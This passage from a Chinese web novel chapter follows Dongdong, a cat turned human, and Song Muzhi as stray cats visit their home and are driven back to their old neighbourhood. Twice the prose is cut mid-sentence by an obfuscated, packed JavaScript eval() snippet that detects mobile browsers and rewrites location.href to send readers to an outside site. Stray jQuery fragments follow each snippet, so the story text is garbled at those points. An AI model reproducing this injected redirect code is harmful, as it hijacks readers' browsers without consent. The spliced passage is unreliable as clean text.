这一问差点没把宋木之问断气,他收起显示还有35分钟迟到的手机,乱七八糟地解释:“过来给你晒被子的,你不是喜欢有太阳味道……” 宋木之差点把拖鞋穿到膝盖上,连被子也不晒了,径直跑向洗漱间叮铃桄榔。 这下好了,现在是冬冬不需要他。 宋木之边刷牙边想。 大概是冬冬的表现太过正常,倒显得宋木之的的确确在往“一罐青苕”的方向发展,厚着脸皮也要跟猫睡在一张床上,这不是闹吗? 想得太多的结果就是迟到,自从搬家之后通勤时间比原来多半个小时,油门踩烂了都没赶上打卡时间,一坐到工位上就被同事尚心逸嘲笑一番。 宋木之喘着粗气,从她桌上掠走一包卤鸡爪,声称一路上辛苦了,吃哪儿补哪儿。 人上班的时候,冬冬就在家里玩开心消消乐,消除动物在他看来就是最有意思的事情,如果能五个一起消除那就是意外之喜,冬冬更喜欢。 但没玩几个小时,冬冬揉揉发酸的眼睛,深深打一口哈欠,捋捋发顶翘起来的毛,又放下手机仰头望天花板。 清早宋木之忙里忙外就走,连被子也没晒,最后还是勤奋的冬冬吭哧吭哧扛着被子搭在阳台上的。 这都不重要,重要的是宋木之明显是在他的房间睡一晚,那昨天晚上为什么还要大费周章往次卧跑呢?冬冬感觉人说得对,他的确不太解人情世故。 这些都可以先放在一边,冬冬没过多久又被电视机上的狗血剧台词吸引注意力,他学着里面印象最深刻的台词念几遍,深感人类电视剧有意思,没过多久就把今早的事情抛在脑后。 临近下班时间,家里的门传来一阵窸窣声。 冬冬竖起耳朵仔细听门外的声音,当即从沙发上端坐起来,还拿着个方形抱枕作为唯一的安全感来源。 他脑瓜子一转,下意识想起来宋木之以前给他做的安全知识教育,第一条就是不能给陌生人开门。 冬冬犹豫再三,长腿一跨,大步迈向主卧,并且动作行云流水地反锁上卧室门。 仅仅如此还是不够,冬冬灵光一闪,甚至想把两米宽的大床堵在门口,但无奈于那床实在是太重,仅凭他一人之力根本不可能短时间挪到门口,而门外的窸窸窣窣声又很快传进房子里,外面的东西已经进来,冬冬唯一能做的只有屏气凝神,靠意念控制仅一墙之隔的外来者不要发现他的存在。 就在冬冬紧张到下意识钻进毯子里时,熟悉声音隔着墙闷闷地传过来:“冬冬?你在哪里呢。” 转而他又声音小些,不知道是在跟谁说话:“你们先等一下,冬冬就在家里休息呢……哎哎哎,这位朋友你不要激动啊,冬冬真在家里。” 紧接着,门传来一声激动的喵喵叫,冬冬一下掀开覆在身上的毯子,下床、扭锁、开门一气呵成,接着与一屋子的猫目目相对。 梨花正在凶狠地冲宋木之张牙舞爪,一旁的小橘猫坐在旁边呐喊助威,看起来马上就要把宋木之围困在墙角唯他是问,一见冬冬出现,人简直像是看到了救命稻草。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744132|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“冬冬,你看他们!”宋木之手指着二位冲在前面的勇敢——甚至有些勇猛的猫,声音中带着些委屈。 冬冬连忙走到小橘猫面前,双手张开试探着将猫抱在怀里。 嗯,世界奇观,猫抱着猫。 警戒心在这一刻全部褪去,冬冬有些新奇地说道:“小橘?你怎么来这里的呀,有好远呢。” 小橘猫一看到冬冬变成人的样子还有点惊愕,但很快又闻到熟悉的味道,立马喵喵叫起来。 “你最近过得怎么样啊?人有再欺负你吗?你怎么又变成人啊?”小橘猫话唠似的,一股脑问好几个问题,喵喵叫的频率无论是宋木之还是冬冬,无一都插不上话,更何况脚边还有一只梨花在呐喊助威。 冬冬知道这是在关心他,只得一个一个回答完全,连半个问题都没漏下。 “我最近过得还不错,没有欺负我,是我错怪人了。人很好,我也不知道我怎么又变成人了,就是突然一下……” 被夸的当事人宋木之听完还有点不好意思,踌躇半天他才问:“你说错怪我什么啊?” “啊?那个,就是……你也知道,对吧?” 宋木之满头问号:“???” 他知道什么,或许他应该知道吗? 冬冬见有些下不来台,只好如实解释:“其实是之前我以为哥不喜欢我,又给哥添很多麻烦才出去流浪的……” 宋木之额头上的问号更多,从没想过猫还有过这样的想法,他想解释人没有不喜欢猫,但小橘猫又急切地问好几个问题,宋木之连个空隙都找不到,只好一头雾水地摸摸后脖颈,走到猫房里找点吃的先尽东道主的礼仪,给追着他非要跟着一起走的猫猫客人们招待点罐头。 “你们是怎么过来的啊?” 面前有小橘猫和面色凶狠巡视家庭环境的梨花,还有那只小小的白猫也跟过来,除了宋木之带着它们一起回到新家,冬冬想不出有其他的可能。 总共三只猫,应该就是猫猫大军派来的代表——也有可能是其他猫太过胆小,不敢跟着人一起过来。 小橘猫率先喵喵叫着解释:“是你主人带着我们来的。” 冬冬不太习惯怀里抱着猫,不过一会儿便走到沙发前坐下,顺势将小橘猫也放在沙发上。但小橘猫心里知道它天天流浪,不适合卧在人的沙发上,立马就跳到木地板上,支着愈发圆润的猫腿质问冬冬。 “他今天去我们那里喂猫了。”梨花在一旁补充道。 “还给我们送了好多猫窝,看着挺舒服的,但还没有体验过,因为我们看人马上就要走了。”小橘猫绕着低矮的茶几绕一圈,又回到冬冬腿边,“当时人带你走太着急,我们也不知道他叽里咕噜半天说什么,大家都很担心你。” 梨花的视察工作简单结束,转身在冬冬脚边卧下:“其实只有我们三个担心而已。” “梨花!”小橘猫大声喵一下作为警告。 19. 作为惩罚 “梨花!”小橘猫大声喵一下作为警告。 “所以我们就跟在人后面好久,人又叽里咕噜说一大堆,我们都听不懂,让我们回去也没回去,可能他最后听懂我们的喵言喵语了,就把我们带上车一起回来了。” 冬冬越听越能想到一群猫对着听不懂猫语系统的宋木之喵喵叫有多努力。 恐怕最终宋木之不是听懂了,而是他实在拿这群小犟种没办法了,只能尝试着猜它们的想法,最后只有上车回家精准戳中猫猫们的诉求。 经过梨花和小橘猫此起彼伏的解释,冬冬也大致了解清楚猫猫的来历。 他时而说人话,时而喵喵叫着回答,发现小猫们无论哪种语言都能听懂意思,只是理解时间的快慢问题而已,不过这种发现只存在于冬冬与流浪猫之间,要是宋木之来交流,别说是人话了,他尝试着喵喵叫也是一团乱麻,猫听不懂一点。 于是宋木之还是坚守着说人话:“来,喵这么半天也累了吧,吃点东西补补。” 宋木之非常慷慨地开了磷虾和蛋黄罐头,又用冬冬以前用的小猫碗添些水,放在旁边。 当然,冬冬的手工陶瓷杯也没忘了添水,一并放在茶几上供冬冬饮用。 梨花一见到猫罐头就双眼放光,喵叫一声便跑到猫碗前开始食用,但落在后面的白猫并不着急,它一个蓄力跳上茶几,十分严谨地检查过冬冬也有水喝后才慢吞吞地踱步到猫碗前,象征性地吃了几口。 宋木之想摸摸白猫,但很快就被它躲掉,脊背都弯成个盆地,他知道跟白猫熟悉的想法任重道远,便干脆利落地放弃了。 紧接着宋木之一转头,冬冬正在直勾勾地看着他。 他莫名有些心虚,立马绽开笑坐到沙发上,轻轻揉了揉冬冬细软的头发。 冬冬没躲开,转而带着惩罚意味地咬一口宋木之,只是手臂还不够,冬冬深感吃醋地在人的脖颈处又咬一口,作为他当着猫的面还想碰其他猫的惩罚。 宋木之完全没想到事情会往这个方向发展,他转过头去看冬冬,不出所料在猫眼中看到了认真,还有几分晦暗不明的闪烁。 冬冬郑重地说:“你以后不要摸其他的猫。” 被警告的宋木之不自觉地摸一下颈侧被咬的地方,又像是被烫到一样收回来,指尖微微蜷缩起来,不知该点头还是说什么,他现在只有一个想法——小猫下嘴还挺重的。 他嘴唇张了张,却又发不出来声音,最后只能吐出一个字:“好。” 好吧,宋木之的确不适合再摸其他的猫。 之前的教训已经够深刻,就算是他喂了小半年的小猫朋友也不可以,要理解冬冬的想法。 但是他还是想说:“那你以后能不能别咬……” 话没说完,小橘猫又喵喵叫起来,冬冬的注意力立马被吸引过去,完全没管身后人中道崩殂的商量。 小猫来时没吃饭,现在正喵喵叫着要更多的罐头,宋木之只好捂着隐隐作痛的脖颈,再次走向猫房卧室,任劳任怨地给猫猫们又开几个好吃的猫粮。 随后他便借口去厕所,对着镜子仔细看了看被咬的地方,果然已经泛红了。 小猫坏! 宋木之不知该气冲冲、还是有些羞愧地面对小猫,反正他二十六年的生活中没人在他脖子上留下印记,是时候该给冬冬恶补一下相关方面的知识了。 小橘猫心满意足地吃饱喝足,母鸡蹲地趴在地上,后腿与后背隆成一座丘陵,看起来很有喜感。 最后流浪猫们在家里也没待多久,宋木之还需要负责带着三只热心肠的小猫回到它们熟悉的老小区据点,任劳任怨地启动他那辆代步车。 三只小猫跟冬冬一起坐在后座,小白猫下意识想磨爪子,立刻就被梨花“喵”一声制止,这也打开了宋木之的话匣子。 “虽然你们担心冬冬我也理解,所以我才带你们回家,但是平常可不能跟陌生人走啊。外面的世界很危险,你们猫猫很容易就会受伤,小猫要有利牙才能吓走坏人。”宋木之跟个老大爷似的,边开车边说道。 但小猫听不懂人话,只捕捉到几个关键词——回家,平常,走。 按照小猫的理解,就是平常想来人家里时像今天一样跟着他走就可以了,小橘猫觉得这个家伙还是很不错的。 冬冬轻轻笑一声,知道小猫们没听懂,又换成猫猫们能听懂的话讲一遍,精准表达出宋木之正确的意思。小橘猫又觉得这人没那么好了,只能算作一般般好。 冬冬不明白小猫心中所想,但刚才宋木之说的话的确在理,他还有一个问题要问:“那小猫喜欢推倒一切桌子上的东西也是好事吗?” 宋木之知道他是在问猫自己,眼中漾起笑意,认真地回答道:“小猫有好奇心是好事啊。” “你不生气吗?” 毕竟冬冬也有把握度失误的时候,战绩也曾包括摔碎玻璃杯,最后还是宋木之跟在屁股后面收拾的。 宋木之看一眼后视镜,打开左转向灯:“这有什么好生气的,那是猫的天性。” 耳边传来转弯时滴滴答答的声音,冬冬平稳地坐在后座上,却觉得他的心正在偏向左边宋木之的方向。 他曾在电视机上看过,人的心都在左边,他偏心一点宋木之也是理所应当的。 冬冬问完猫推玻璃的事还不满足,又看了会儿窗外呼啸而过的景色,好奇地问出下一个问题:“那小猫晚上玩手机也没关系吗?” 这个问题非常好,成功噎住宋木之差点脱口而出的话。他沉思片刻,假正经地回答小猫:“刚玩手机的人的确比较新鲜,但是晚上玩对眼睛不好,小猫还是别玩了。” “好的,那我白天玩。” 宋木之说着说着就咂摸出不对劲,从后视镜看一眼冬冬:“你小子是不是以前在晚上的时候偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744133|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷躲在被窝里玩手机呢?” 被戳穿的冬冬正好在后视镜中与宋木之对视,他慌忙转移开视线,正襟危坐地依旧看着玻璃窗外的景色,连头都没转。 不过在宋木之的追问下,他还是不得不回答:“哥每天都要睡在我旁边,我怎么可能有时间玩手机啊。” 话说得在理,但每天晚上偷偷溜走的宋木之就不在理了,最终两人的辩论以宋木之的心虚结束,很快就开到老小区里面。 天色已晚,老小区内的停车位车满为患,也就得亏宋木之那小破车车型比较小,小心一点也能安全开到猫猫大军们的聚集地。 小橘猫与小白猫依偎在一起,到地方的时候被冬冬轻声叫醒,下意识在坐垫上伸个懒腰,稍微一不留神就把后排的仿皮制坐垫抓出几道痕迹。 猫抓坐垫人会叫,冬冬倒吸一口冷气,将小橘猫的猫爪提溜起来,但还是没能阻止这场无意的小破坏,仿皮制坐垫已经留下猫抓过的痕迹,小橘猫整个上半个身子悬空,还不清楚发生了什么。 宋木之听到后座传来声音,低头将安全带解开问:“怎么了你们?” 冬冬作为唯一能发言的代表人,呼吸一滞,将声音放低试探道:“哥,有一个问题我还没问完。” “嗯?” “小猫就算抓破了你喜爱的东西,也没关系吗?” 冬冬说得尽量委婉,但防不住宋木之说话时转头看向后座,不可避免的看到了小猫们在坐垫上留下的痕迹,当即明白冬冬话中的意思。他也跟着呼吸一滞,旋即又松口气道:“我以为什么呢,当然没关系了。” 虽然人人都宝贝车,但说白了也只不过是一个代步工具,宋木之刚开始的时候还比较新奇新到家的车,但现在早就已经不是车奴,也算不上是他“喜爱”的程度,更何况抓破的只是坐垫,又不是不能用了。 宋木之很快就不把这当回事儿,开门下车的动作一气呵成,又将冬冬这一侧的车门打开,手扶着车檐示意下车。 梨花动作是最轻巧的,刚一开门它就一溜烟似的跑出来,小白猫紧随其后,然而刚刚犯了错的小橘猫还没反应过来,最后是冬冬抱着它往外走的。 车开到小区最深处,离流浪猫们的聚集地很近,也就意味着猫猫们一下车就回到熟悉的地方,避免了应激的可能。 冬冬顺势又看一眼其他的流浪猫,都错落有致地保持距离,卧在草丛后面正打算休息。 猫碗里面的粮还没吃完,不知哪位好心人还在旁边开了个罐头,但是猫吃不到最里面的肉,大半部分都被浪费了。趁着冬冬还在跟猫猫们社交,宋木之闲来无事将猫罐头里剩下的肉都倒进猫碗里面,将猫碗清理干净,又顺手添点水,这才放心下来。 老小区猫猫协会的成员有很多,无论是养猫的还是没养猫的,都在参与小区的喂猫事业,就算少宋木之一个,流浪猫们吃饭应该也不成问题。